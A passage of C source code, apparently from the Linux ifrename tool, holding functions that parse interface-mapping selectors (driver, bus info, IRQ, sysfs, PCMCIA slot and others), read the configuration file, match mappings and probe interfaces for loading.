ifnode->active[SELECT_ARP] = 1; active[SELECT_ARP] = 1; if(verbose) fprintf(stderr, "Parsing : Added ARP/Link Type `%d' from line %d.\n", ifnode->hw_type, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the ARP/Link type of two mappings */ static int mapping_cmparp(struct if_mapping * ifnode, struct if_mapping * target) { return(!(ifnode->hw_type == target->hw_type)); } /*------------------------------------------------------------------*/ /* * Extract the ARP/Link type of an interface */ static int mapping_getarp(int skfd, const char * ifname, struct if_mapping * target, int flag) { /* We may have already extracted the MAC address */ if(target->active[SELECT_MAC]) return(0); /* Otherwise just do it */ return(mapping_getmac(skfd, ifname, target, flag)); } /*------------------------------------------------------------------*/ /* * Add a Driver name selector to a mapping */ static int mapping_adddriver(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { /* Avoid "Unused parameter" warning */ extra = extra; /* Plain string, minimal verification */ if(len >= sizeof(ifnode->driver)) { fprintf(stderr, "Error: Driver name too long at line %d\n", linenum); return(-1); } /* Copy */ memcpy(ifnode->driver, string, len + 1); /* Activate */ ifnode->active[SELECT_DRIVER] = 1; active[SELECT_DRIVER] = 1; if(verbose) fprintf(stderr, "Parsing : Added Driver name `%s' from line %d.\n", ifnode->driver, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Driver name of two mappings */ static int mapping_cmpdriver(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(fnmatch(ifnode->driver, target->driver, FNM_CASEFOLD)); } /*------------------------------------------------------------------*/ /* * Add a Bus-Info selector to a mapping */ static int mapping_addbusinfo(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { #if 0 size_t n; #endif /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ if(len >= sizeof(ifnode->bus_info)) { fprintf(stderr, "Bus Info too long at line %d\n", linenum); return(-1); } #if 0 /* Hum... This doesn's seem true for non-PCI bus-info */ n = strspn(string, "0123456789ABCDEFabcdef:.*"); if(n < len) { fprintf(stderr, "Error: Invalid Bus Info `%s' at line %d\n", string, linenum); return(-1); } #endif /* Copy */ memcpy(ifnode->bus_info, string, len + 1); /* Activate */ ifnode->active[SELECT_BUSINFO] = 1; active[SELECT_BUSINFO] = 1; if(verbose) fprintf(stderr, "Parsing : Added Bus Info `%s' from line %d.\n", ifnode->bus_info, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Bus-Info of two mappings */ static int mapping_cmpbusinfo(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(fnmatch(ifnode->bus_info, target->bus_info, FNM_CASEFOLD)); } /*------------------------------------------------------------------*/ /* * Add a Firmare revision selector to a mapping */ static int mapping_addfirmware(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ if(len >= sizeof(ifnode->fw_version)) { fprintf(stderr, "Firmware revision too long at line %d\n", linenum); return(-1); } /* Copy */ memcpy(ifnode->fw_version, string, len + 1); /* Activate */ ifnode->active[SELECT_FIRMWARE] = 1; active[SELECT_FIRMWARE] = 1; if(verbose) fprintf(stderr, "Parsing : Added Firmware Revision `%s' from line %d.\n", ifnode->fw_version, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Bus-Info of two mappings */ static int mapping_cmpfirmware(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(fnmatch(ifnode->fw_version, target->fw_version, FNM_CASEFOLD)); } /*------------------------------------------------------------------*/ /* * Extract the Driver name and Bus-Info from a live interface */ static int mapping_getdriverbusinfo(int skfd, const char * ifname, struct if_mapping * target, int flag) { struct ifreq ifr; struct ethtool_drvinfo drvinfo; int ret; /* Avoid "Unused parameter" warning */ flag = flag; /* We may come here twice or more, so do the job only once */ if(target->active[SELECT_DRIVER] || target->active[SELECT_BUSINFO] || target->active[SELECT_FIRMWARE]) return(0); /* Prepare request */ bzero(&ifr, sizeof(struct ifreq)); bzero(&drvinfo, sizeof(struct ethtool_drvinfo)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); drvinfo.cmd = ETHTOOL_GDRVINFO; ifr.ifr_data = (caddr_t) &drvinfo; /* Do it */ ret = ioctl(skfd, SIOCETHTOOL, &ifr); if(ret < 0) { /* Most drivers don't support that, keep quiet for now */ if(verbose) fprintf(stderr, "Error: Can't read driver/bus-info on interface `%s' : %s\n", ifname, strerror(errno)); return(-1); } /* Copy over */ strcpy(target->driver, drvinfo.driver); strcpy(target->bus_info, drvinfo.bus_info); strcpy(target->fw_version, drvinfo.fw_version); /* Activate */ target->active[SELECT_DRIVER] = 1; target->active[SELECT_BUSINFO] = 1; target->active[SELECT_FIRMWARE] = 1; if(verbose) fprintf(stderr, "Querying %s : Got Driver name `%s', Bus Info `%s' and Firmware `%s'.\n", ifname, target->driver, target->bus_info, target->fw_version); return(0); } /*------------------------------------------------------------------*/ /* * Add a Base Address selector to a mapping */ static int mapping_addbaseaddr(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { size_t n; unsigned int address; /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ n = strspn(string, "0123456789ABCDEFabcdefx"); if((n < len) || (sscanf(string, "0x%X", &address) != 1)) { fprintf(stderr, "Error: Invalid Base Address `%s' at line %d\n", string, linenum); return(-1); } /* Copy */ ifnode->base_addr = (unsigned short) address; /* Activate */ ifnode->active[SELECT_BASEADDR] = 1; active[SELECT_BASEADDR] = 1; if(verbose) fprintf(stderr, "Parsing : Added Base Address `0x%X' from line %d.\n", ifnode->base_addr, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Base Address of two mappings */ static int mapping_cmpbaseaddr(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(!(ifnode->base_addr == target->base_addr)); } /*------------------------------------------------------------------*/ /* * Add a IRQ selector to a mapping */ static int mapping_addirq(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { size_t n; unsigned int irq; /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ n = strspn(string, "0123456789"); if((n < len) || (sscanf(string, "%d", &irq) != 1)) { fprintf(stderr, "Error: Invalid Base Address `%s' at line %d\n", string, linenum); return(-1); } /* Copy */ ifnode->irq = (unsigned char) irq; /* Activate */ ifnode->active[SELECT_IRQ] = 1; active[SELECT_IRQ] = 1; if(verbose) fprintf(stderr, "Parsing : Added IRQ `%d' from line %d.\n", ifnode->irq, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the IRQ of two mappings */ static int mapping_cmpirq(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(!(ifnode->irq == target->irq)); } /*------------------------------------------------------------------*/ /* * Extract the Driver name and Bus-Info from a live interface */ static int mapping_getbaseaddrirq(int skfd, const char * ifname, struct if_mapping * target, int flag) { struct ifreq ifr; struct ifmap map; /* hardware setup */ int ret; /* Avoid "Unused parameter" warning */ flag = flag; /* We may come here twice, so do the job only once */ if(target->active[SELECT_BASEADDR] || target->active[SELECT_IRQ]) return(0); /* Prepare request */ bzero(&ifr, sizeof(struct ifreq)); bzero(&map, sizeof(struct ifmap)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); /* Do it */ ret = ioctl(skfd, SIOCGIFMAP, &ifr); if(ret < 0) { /* Don't know if every interface has that, so keep quiet... */ if(verbose) fprintf(stderr, "Error: Can't read base address/irq on interface `%s' : %s\n", ifname, strerror(errno)); return(-1); } /* Copy over, activate */ if(ifr.ifr_map.base_addr >= 0x100) { target->base_addr = ifr.ifr_map.base_addr; target->active[SELECT_BASEADDR] = 1; } target->irq = ifr.ifr_map.irq; target->active[SELECT_IRQ] = 1; if(verbose) fprintf(stderr, "Querying %s : Got Base Address `0x%X' and IRQ `%d'.\n", ifname, target->base_addr, target->irq); return(0); } /*------------------------------------------------------------------*/ /* * Add a Wireless Protocol selector to a mapping */ static int mapping_addiwproto(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ if(len >= sizeof(ifnode->iwproto)) { fprintf(stderr, "Wireless Protocol too long at line %d\n", linenum); return(-1); } /* Copy */ memcpy(ifnode->iwproto, string, len + 1); /* Activate */ ifnode->active[SELECT_IWPROTO] = 1; active[SELECT_IWPROTO] = 1; if(verbose) fprintf(stderr, "Parsing : Added Wireless Protocol `%s' from line %d.\n", ifnode->iwproto, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Wireless Protocol of two mappings */ static int mapping_cmpiwproto(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(fnmatch(ifnode->iwproto, target->iwproto, FNM_CASEFOLD)); } /*------------------------------------------------------------------*/ /* * Extract the Wireless Protocol from a live interface */ static int mapping_getiwproto(int skfd, const char * ifname, struct if_mapping * target, int flag) { struct iwreq wrq; /* Avoid "Unused parameter" warning */ flag = flag; /* Get wireless name */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) /* Don't complain about it, Ethernet cards will never support this */ return(-1); strncpy(target->iwproto, wrq.u.name, IFNAMSIZ); target->iwproto[IFNAMSIZ] = '\0'; /* Activate */ target->active[SELECT_IWPROTO] = 1; if(verbose) fprintf(stderr, "Querying %s : Got Wireless Protocol `%s'.\n", ifname, target->iwproto); return(0); } /*------------------------------------------------------------------*/ /* * Add a Pcmcia Slot selector to a mapping */ static int mapping_addpcmciaslot(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { size_t n; /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string, convert to int */ n = strspn(string, "0123456789"); if((n < len) || (sscanf(string, "%d", &ifnode->pcmcia_slot) != 1)) { fprintf(stderr, "Error: Invalid Pcmcia Slot `%s' at line %d\n", string, linenum); return(-1); } ifnode->active[SELECT_PCMCIASLOT] = 1; active[SELECT_PCMCIASLOT] = 1; if(verbose) fprintf(stderr, "Parsing : Added Pcmcia Slot `%d' from line %d.\n", ifnode->pcmcia_slot, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Pcmcia Slot of two mappings */ static int mapping_cmppcmciaslot(struct if_mapping * ifnode, struct if_mapping * target) { return(!(ifnode->pcmcia_slot == target->pcmcia_slot)); } /*------------------------------------------------------------------*/ /* * Extract the Pcmcia Slot of an interface * Note that this works only for cards fully managed by cardmgr. * With the kernel pcmcia modules, 32 bits cards (CardBus) are not managed * by cardmgr, and therefore won't have a valid slot number. For those * cards, you should use Bus Info (when the driver exports it). * In the long term, 16 bits card as well will no longer be managed by * cardmgr. Currently, Bus Info for 16 bit cards don't have any information * enabling to locate their physical location on the system, but I hope that * this will change. * When that happen, we can drop this code... */ static int mapping_getpcmciaslot(int skfd, const char * ifname, struct if_mapping * target, int flag) { FILE * stream; char * linebuf = NULL; size_t linelen = 0; int linenum = 0; /* Avoid "Unused parameter" warning */ skfd = skfd; flag = flag; /* Open the stab file for reading */ stream = fopen(PCMCIA_STAB1, "r"); if(!stream) { /* Try again, alternate location */ stream = fopen(PCMCIA_STAB2, "r"); if(!stream) { fprintf(stderr, "Error: Can't open PCMCIA Stab file `%s' or `%s': %s\n", PCMCIA_STAB1, PCMCIA_STAB2, strerror(errno)); return(-1); } } /* Read each line of file * getline is a GNU extension :-( The buffer is recycled and increased * as needed by getline. */ while(getline(&linebuf, &linelen, stream) > 0) { char * p; size_t n; size_t k; int pcmcia_slot; int i; /* Keep track of line number */ linenum++; /* Get Pcmcia socket number */ p = linebuf; while(isspace(*p)) ++p; if(*p == '\0') continue; /* Line ended */ n = strcspn(p, " \t\n"); k = strspn(p, "0123456789"); if((k < n) || (sscanf(p, "%d", &pcmcia_slot) != 1)) /* Next line */ continue; /* Skip socket number */ /* Skip socket number ; device class ; driver name ; instance */ for(i = 0; i < 4; i++) { /* Skip item */ p += n; /* Skip space */ p += strspn(p, " \t\n"); if(*p == '\0') break; /* Line ended */ /* Next item size */ n = strcspn(p, " \t\n"); } if(*p == '\0') continue; /* Line ended */ /* Terminate dev name */ p[n] = '\0'; /* Compare to interface name */ if(!strcmp(p, ifname)) { /* Save */ target->pcmcia_slot = pcmcia_slot; /* Activate */ target->active[SELECT_PCMCIASLOT] = 1; if(verbose) fprintf(stderr, "Querying %s : Got Pcmcia Slot `%d'.\n", ifname, target->pcmcia_slot); /* Exit loop, found it */ break; } /* Finished -> next line */ } /* Cleanup */ free(linebuf); fclose(stream); return(target->active[SELECT_PCMCIASLOT] ? 0 : -1); } /*------------------------------------------------------------------*/ /* * Add a sysfs selector to a mapping */ static int mapping_addsysfs(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { int findex; /* filename index */ char * sdup; /* Check if we have a modifier */ if((extra == NULL) || (extra->modif_pos == NULL)) { fprintf(stderr, "Error: No SYSFS filename at line %d\n", linenum); return(-1); } /* Search if the filename already exist */ for(findex = 0; findex < sysfs_global.filenum; findex++) { if(!strcmp(extra->modif_pos, sysfs_global.filename[findex])) break; } /* If filename does not exist, creates it */ if(findex == sysfs_global.filenum) { if(findex == SYSFS_MAX_FILE) { fprintf(stderr, "Error: Too many SYSFS filenames at line %d\n", linenum); return(-1); } sdup = strndup(extra->modif_pos, extra->modif_len); if(sdup == NULL) { fprintf(stderr, "Error: Can't allocate SYSFS file\n"); return(-1); } sysfs_global.filename[findex] = sdup; sysfs_global.filenum++; } /* Store value */ sdup = strndup(string, len); if(sdup == NULL) { fprintf(stderr, "Error: Can't allocate SYSFS value\n"); return(-1); } ifnode->sysfs[findex] = sdup; /* Activate */ ifnode->active[SELECT_SYSFS] = 1; active[SELECT_SYSFS] = 1; if(verbose) fprintf(stderr, "Parsing : Added SYSFS filename `%s' value `%s' from line %d.\n", sysfs_global.filename[findex], ifnode->sysfs[findex], linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare all the sysfs values of two mappings */ static int mapping_cmpsysfs(struct if_mapping * ifnode, struct if_mapping * target) { int findex; /* filename index */ int match = 1; /* Loop on all sysfs selector */ for(findex = 0; findex < sysfs_global.filenum; findex++) { /* If the mapping defines this sysfs selector.. */ if(ifnode->sysfs[findex] != NULL) /* And if the sysfs values don't match */ if((target->sysfs[findex] == NULL) || (fnmatch(ifnode->sysfs[findex], target->sysfs[findex], FNM_CASEFOLD))) /* Then the sysfs selector doesn't match */ match = 0; } return(!match); } /*------------------------------------------------------------------*/ /* * Extract all the sysfs values of an interface */ static int mapping_getsysfs(int skfd, const char * ifname, struct if_mapping * target, int flag) { FILE * stream; char * fname; int fnsize; char * linebuf = NULL; size_t linelen = 0; char * sdup; int findex; /* filename index */ /* Avoid "Unused parameter" warning */ skfd = skfd; flag = flag; /* Check if we know the devpath of this device */ if(target->sysfs_devpath == NULL) { /* Check if we know the root of the sysfs filesystem */ if(sysfs_global.root == NULL) { /* Open the mount file for reading */ stream = fopen("/proc/mounts", "r"); if(!stream) { fprintf(stderr, "Error: Can't open /proc/mounts file: %s\n", strerror(errno)); return(-1); } /* Read each line of file * getline is a GNU extension :-( The buffer is recycled and * increased as needed by getline. */ while(getline(&linebuf, &linelen, stream) > 0) { int i; char * p; size_t n; char * token[3]; size_t toklen[3]; /* The format of /proc/mounts is similar to /etc/fstab (5). * The first argument is the device. For sysfs, there is no * associated device, so this argument is ignored. * The second argument is the mount point. * The third argument is the filesystem type. */ /* Extract the first 3 tokens */ p = linebuf; for(i = 0; i < 3; i++) { while(isspace(*p)) ++p; token[i] = p; n = strcspn(p, " \t\n"); toklen[i] = n; p += n; } /* Get the filesystem which type is "sysfs" */ if((n == 5) && (!strncasecmp(token[2], "sysfs", 5))) { /* Get its mount point */ n = toklen[1]; sdup = strndup(token[1], n); if((n == 0) || (sdup == NULL)) { fprintf(stderr, "Error: Can't parse /proc/mounts file: %s\n", strerror(errno)); return(-1); } /* Store it */ sysfs_global.root = sdup; sysfs_global.rlen = n; break; } /* Finished -> next line */ } /* Cleanup */ fclose(stream); /* Check if we found it */ if(sysfs_global.root == NULL) { fprintf(stderr, "Error: Can't find sysfs in /proc/mounts file\n"); free(linebuf); return(-1); } } /* Construct devpath for this interface. * Reserve enough space to replace name without realloc. */ fnsize = (sysfs_global.rlen + 11 + IFNAMSIZ + 1); fname = malloc(fnsize); if(fname == NULL) { fprintf(stderr, "Error: Can't allocate SYSFS devpath\n"); return(-1); } /* Not true devpath for 2.6.20+, but this syslink should work */ target->sysfs_devplen = sprintf(fname, "%s/class/net/%s", sysfs_global.root, ifname); target->sysfs_devpath = fname; } /* Loop on all sysfs selector */ for(findex = 0; findex < sysfs_global.filenum; findex++) { char * p; ssize_t n; /* Construct complete filename for the sysfs selector */ fnsize = (target->sysfs_devplen + 1 + strlen(sysfs_global.filename[findex]) + 1); fname = malloc(fnsize); if(fname == NULL) { fprintf(stderr, "Error: Can't allocate SYSFS filename\n"); free(linebuf); return(-1); } sprintf(fname, "%s/%s", target->sysfs_devpath, sysfs_global.filename[findex]); /* Open the sysfs file for reading */ stream = fopen(fname, "r"); if(!stream) { /* Some sysfs attribute may no exist for some interface */ if(verbose) fprintf(stderr, "Error: Can't open file `%s': %s\n", fname, strerror(errno)); /* Next sysfs selector */ continue; } /* Read file. Only one line in file. */ n = getline(&linebuf, &linelen, stream); fclose(stream); if(n <= 0) { /* Some attributes are just symlinks to another directory. * We can read the attributes in that other directory * just fine, but sometimes the symlink itself gives a lot * of information. * Examples : SYSFS{device} and SYSFS{device/driver} * In such cases, get the name of the directory pointed to... */ /* * I must note that the API for readlink() is very bad, * which force us to have this ugly code. Yuck ! */ int allocsize = 128; /* 256 = Good start */ int retry = 16; char * linkpath = NULL; int pathlen; /* Try reading the link with increased buffer size */ do { allocsize *= 2; linkpath = realloc(linkpath, allocsize); pathlen = readlink(fname, linkpath, allocsize); /* If we did not hit the buffer limit, success */ if(pathlen < allocsize) break; } while(retry-- > 0); /* Check for error, most likely ENOENT */ if(pathlen > 0) /* We have a symlink ;-) Terminate the string. */ linkpath[pathlen] = '\0'; else { /* Error ! */ free(linkpath); /* A lot of information in the sysfs is implicit, given * by the position of a file in the tree. It is therefore * important to be able to read the various components * of a path. For this reason, we resolve '..' to the * real name of the parent directory... */ /* We have at least 11 char, see above */ if(!strcmp(fname + fnsize - 4, "/..")) //if(!strcmp(fname + strlen(fname) - 3, "/..")) { /* This procedure to get the realpath is not very * nice, but it's the "best practice". Hmm... */ int cwd_fd = open(".", O_RDONLY); linkpath = NULL; if(cwd_fd > 0) { int ret = chdir(fname); if(ret == 0) /* Using getcwd with NULL is a GNU extension. Nice. */ linkpath = getcwd(NULL, 0); /* This may fail, but it's not fatal */ fchdir(cwd_fd); } /* Check if we suceeded */ if(!linkpath) { free(linkpath); if(verbose) fprintf(stderr, "Error: Can't read parent directory `%s'\n", fname); /* Next sysfs selector */ continue; } } else { /* Some sysfs attribute are void for some interface, * we may have a real directory, or we may have permission * issues... */ if(verbose) fprintf(stderr, "Error: Can't read file `%s'\n", fname); /* Next sysfs selector */ continue; } } /* Here, we have a link name or a parent directory name */ /* Keep only the last component of path name, save it */ p = basename(linkpath); sdup = strdup(p); free(linkpath); } else { /* This is a regular file (well, pseudo file) */ /* Get content, remove trailing '/n', save it */ p = linebuf; if(p[n - 1] == '\n') n--; sdup = strndup(p, n); } if(sdup == NULL) { fprintf(stderr, "Error: Can't allocate SYSFS value\n"); free(linebuf); return(-1); } target->sysfs[findex] = sdup; /* Activate */ target->active[SELECT_SYSFS] = 1; if(verbose) fprintf(stderr, "Querying %s : Got SYSFS filename `%s' value `%s'.\n", ifname, sysfs_global.filename[findex], target->sysfs[findex]); /* Finished : Next sysfs selector */ } /* Cleanup */ free(linebuf); return(target->active[SELECT_SYSFS] ? 0 : -1); } /*------------------------------------------------------------------*/ /* * Add a Previous Interface Name selector to a mapping */ static int mapping_addprevname(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ if(len >= sizeof(ifnode->prevname)) { fprintf(stderr, "Old Interface Name too long at line %d\n", linenum); return(-1); } /* Copy */ memcpy(ifnode->prevname, string, len + 1); /* Activate */ ifnode->active[SELECT_PREVNAME] = 1; active[SELECT_PREVNAME] = 1; if(verbose) fprintf(stderr, "Parsing : Added Old Interface Name `%s' from line %d.\n", ifnode->prevname, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the Previous Interface Name of two mappings * Note : this one is special. */ static int mapping_cmpprevname(struct if_mapping * ifnode, struct if_mapping * target) { /* Do wildcard matching, case insensitive */ return(fnmatch(ifnode->prevname, target->ifname, FNM_CASEFOLD)); } /*------------------------------------------------------------------*/ /* * Extract the Previous Interface Name from a live interface */ static int mapping_getprevname(int skfd, const char * ifname, struct if_mapping * target, int flag) { /* Avoid "Unused parameter" warning */ skfd = skfd; ifname = ifname; flag = flag; /* Don't do anything, it's already in target->ifname ;-) */ /* Activate */ target->active[SELECT_PREVNAME] = 1; return(0); } /*********************** MAPPING MANAGEMENTS ***********************/ /* * Manage interface mappings. * Each mapping tell us how to identify a specific interface name. * It is composed of a bunch of selector values. */ /*------------------------------------------------------------------*/ /* * Create a new interface mapping and verify its name */ static struct if_mapping * mapping_create(char * pos, int len, int linenum) { struct if_mapping * ifnode; char * star; star = memchr(pos, '*', len); /* Check overflow, need one extra char for wildcard */ if((len + (star != NULL)) > IFNAMSIZ) { fprintf(stderr, "Error: Interface name `%.*s' too long at line %d\n", (int) len, pos, linenum); return(NULL); } /* Create mapping, zero it */ ifnode = calloc(1, sizeof(if_mapping)); if(!ifnode) { fprintf(stderr, "Error: Can't allocate interface mapping.\n"); return(NULL); } /* Set the name, terminates it */ memcpy(ifnode->ifname, pos, len); ifnode->ifname[len] = '\0'; /* Check the interface name and issue various pedantic warnings. * We assume people using takeover want to force interfaces to those * names and know what they are doing, so don't bother them... */ if((!force_takeover) && ((!strcmp(ifnode->ifname, "eth0")) || (!strcmp(ifnode->ifname, "wlan0")))) fprintf(stderr, "Warning: Interface name is `%s' at line %d, can't be mapped reliably.\n", ifnode->ifname, linenum); if(strchr(ifnode->ifname, ':')) fprintf(stderr, "Warning: Alias device `%s' at line %d probably can't be mapped.\n", ifnode->ifname, linenum); if(verbose) fprintf(stderr, "Parsing : Added Mapping `%s' from line %d.\n", ifnode->ifname, linenum); /* Done */ return(ifnode); } /*------------------------------------------------------------------*/ /* * Find the most appropriate selector matching a given selector name */ static inline const struct mapping_selector * selector_find(const char * string, size_t slen, int linenum) { const struct mapping_selector * found = NULL; int ambig = 0; int i; /* Go through all selectors */ for(i = 0; selector_list[i].name != NULL; ++i) { /* No match -> next one */ if(strncasecmp(selector_list[i].name, string, slen) != 0) continue; /* Exact match -> perfect */ if(slen == strlen(selector_list[i].name)) return &selector_list[i]; /* Partial match */ if(found == NULL) /* First time */ found = &selector_list[i]; else /* Another time */ if (selector_list[i].add_fn != found->add_fn) ambig = 1; } if(found == NULL) { fprintf(stderr, "Error: Unknown selector `%.*s' at line %d.\n", (int) slen, string, linenum); return NULL; } if(ambig) { fprintf(stderr, "Selector `%.*s'at line %d is ambiguous.\n", (int) slen, string, linenum); return NULL; } return found; } /*------------------------------------------------------------------*/ /* * Read the configuration file and extract all valid mappings and their * selectors. */ static int mapping_readfile(const char * filename) { FILE * stream; char * linebuf = NULL; size_t linelen = 0; int linenum = 0; struct add_extra extrainfo; /* Reset the list of filters */ bzero(selector_active, sizeof(selector_active)); /* Check filename */ if(!strcmp(filename, "-")) { /* Read from stdin */ stream = stdin; } else { /* Open the file for reading */ stream = fopen(filename, "r"); if(!stream) { fprintf(stderr, "Error: Can't open configuration file `%s': %s\n", filename, strerror(errno)); return(-1); } } /* Read each line of file * getline is a GNU extension :-( The buffer is recycled and increased * as needed by getline. */ while(getline(&linebuf, &linelen, stream) > 0) { struct if_mapping * ifnode; char * p; char * e; size_t n; int ret = -13; /* Complain if no selectors */ /* Keep track of line number */ linenum++; /* Every comments terminates parsing */ if((p = strchr(linebuf,'#')) != NULL) *p = '\0'; /* Get interface name */ p = linebuf; while(isspace(*p)) ++p; if(*p == '\0') continue; /* Line ended */ n = strcspn(p, " \t\n"); /* Create mapping */ ifnode = mapping_create(p, n, linenum); if(!ifnode) continue; /* Ignore this line */ p += n; p += strspn(p, " \t\n"); /* Loop on all selectors */ while(*p != '\0') { const struct mapping_selector * selector = NULL; struct add_extra * extra = NULL; /* Selector name length - stop at modifier start */ n = strcspn(p, " \t\n{"); /* Find it */ selector = selector_find(p, n, linenum); if(!selector) { ret = -1; break; } p += n; /* Check for modifier */ if(*p == '{') { p++; /* Find end of modifier */ e = strchr(p, '}'); if(e == NULL) { fprintf(stderr, "Error: unterminated selector modifier value on line %d\n", linenum); ret = -1; break; /* Line ended */ } /* Fill in struct and hook it */ extrainfo.modif_pos = p; extrainfo.modif_len = e - p; extra = &extrainfo; /* Terminate modifier value */ e[0] = '\0'; /* Skip it */ p = e + 1; } /* Get to selector value */ p += strspn(p, " \t\n"); if(*p == '\0') { fprintf(stderr, "Error: no value for selector `%s' on line %d\n", selector->name, linenum); ret = -1; break; /* Line ended */ } /* Check for quoted arguments */ if(*p == '"') { p++; e = strchr(p, '"'); if(e == NULL) { fprintf(stderr, "Error: unterminated quoted value on line %d\n", linenum); ret = -1; break; /* Line ended */ } n = e - p; e++; } else { /* Just end at next blank */ n = strcspn(p, " \t\n"); e = p + n; } /* Make 'e' point past the '\0' we are going to add */ if(*e != '\0') e++; /* Terminate selector value */ p[n] = '\0'; /* Add it to the mapping */ ret = selector->add_fn(ifnode, selector_active, p, n, extra, linenum); if(ret < 0) break; /* Go to next selector */ p = e; p += strspn(p, " \t\n"); } /* We add a mapping only if it has at least one selector and if all * selectors were parsed properly. */ if(ret < 0) { /* If we have not yet printed an error, now is a good time ;-) */ if(ret == -13) fprintf(stderr, "Error: Line %d ignored, no valid selectors\n", linenum); else fprintf(stderr, "Error: Line %d ignored due to prior errors\n", linenum); free(ifnode); } else { /* Link it in the list */ ifnode->next = mapping_list; mapping_list = ifnode; } } /* Cleanup */ free(linebuf); /* Finished reading, close the file */ if(stream != stdin) fclose(stream); return(0); } /*------------------------------------------------------------------*/ /* * Extract all the interesting selectors for the interface in consideration */ static struct if_mapping * mapping_extract(int skfd, const char * ifname) { struct if_mapping * target; int i; /* Create mapping, zero it */ target = calloc(1, sizeof(if_mapping)); if(!target) { fprintf(stderr, "Error: Can't allocate interface mapping.\n"); return(NULL); } /* Set the interface name */ strcpy(target->ifname, ifname); /* Loop on all active selectors */ for(i = 0; i < SELECT_NUM; i++) { /* Check if this selector is active */ if(selector_active[i] != 0) { /* Extract selector */ selector_list[i].get_fn(skfd, ifname, target, selector_active[i]); /* Ignore errors. Some mapping may not need all selectors */ } } return(target); } /*------------------------------------------------------------------*/ /* * Find the first mapping in the list matching the one we want. */ static struct if_mapping * mapping_find(struct if_mapping * target) { struct if_mapping * ifnode; int i; /* Look over all our mappings */ for(ifnode = mapping_list; ifnode != NULL; ifnode = ifnode->next) { int matches = 1; /* Look over all our selectors, all must match */ for(i = 0; i < SELECT_NUM; i++) { /* Check if this selector is active */ if(ifnode->active[i] != 0) { /* If this selector doesn't match, game over for this mapping */ if((target->active[i] == 0) || (selector_list[i].cmp_fn(ifnode, target) != 0)) { matches = 0; break; } } } /* Check is this mapping was "the one" */ if(matches) return(ifnode); } /* Not found */ return(NULL); } /************************** MODULE SUPPORT **************************/ /* * Load all necessary module so that interfaces do exist. * This is necessary for system that are fully modular when * doing the boot time processing, because we need to run before * 'ifup -a'. */ /*------------------------------------------------------------------*/ /* * Probe interfaces based on our list of mappings. * This is the default, but usually not the best way to do it. */ static void probe_mappings(int skfd) { struct if_mapping * ifnode; struct ifreq ifr; /* Look over all our mappings */ for(ifnode = mapping_list; ifnode != NULL; ifnode = ifnode->next) { /* Can't load wildcards interface name :-( */ if(strchr(ifnode->ifname, '%') != NULL) continue; if(verbose) fprintf(stderr, "Probing : Trying to load interface [%s]\n", ifnode->ifname); /* Trick the kernel into loading the interface. * This allow us to not depend on the exact path and * name of the '/sbin/modprobe' command. * Obviously, we expect this command to 'fail', as * the interface will load with the old/wrong name. */ strncpy(ifr.ifr_name, ifnode->ifname, IFNAMSIZ); ioctl(skfd, SIOCGIFHWADDR, &ifr); } } /*------------------------------------------------------------------*/ /* * Probe interfaces based on Debian's config files. * This allow to enly load modules for interfaces the user want active, * all built-in interfaces that should remain unconfigured won't * be probed (and can have mappings). */ static void probe_debian(int skfd) { FILE * stream; char * linebuf = NULL; size_t linelen = 0; struct ifreq ifr; /* Open Debian config file */ stream = fopen(DEBIAN_CONFIG_FILE, "r"); if(stream == NULL) { fprintf(stderr, "Error: can't open file [%s]\n", DEBIAN_CONFIG_FILE); return; } /* Read each line of file * getline is a GNU extension :-( The buffer is recycled and increased * as needed by getline. */ while(getline(&linebuf, &linelen, stream) > 0) { char * p; char * e; size_t n; /* Check for auto keyword, ignore when commented out */ if(!strncasecmp(linebuf, "auto ", 5)) { /* Skip "auto" keyword */ p = linebuf + 5; /* Terminate at first comment */ e = strchr(p, '#'); if(e != NULL) *e = '\0'; /* Loop on all interfaces given */ while(*p != '\0') { /* Interface name length */ n = strcspn(p, " \t\n"); /* Look for end of interface name */ e = p + n; /* Make 'e' point past the '\0' we are going to add */ if(*e != '\0') e++; /* Terminate interface name */ p[n] = '\0'; if(verbose) fprintf(stderr, "Probing : Trying to load interface [%s]\n", p); /* Load interface */ strncpy(ifr.ifr_name, p, IFNAMSIZ); 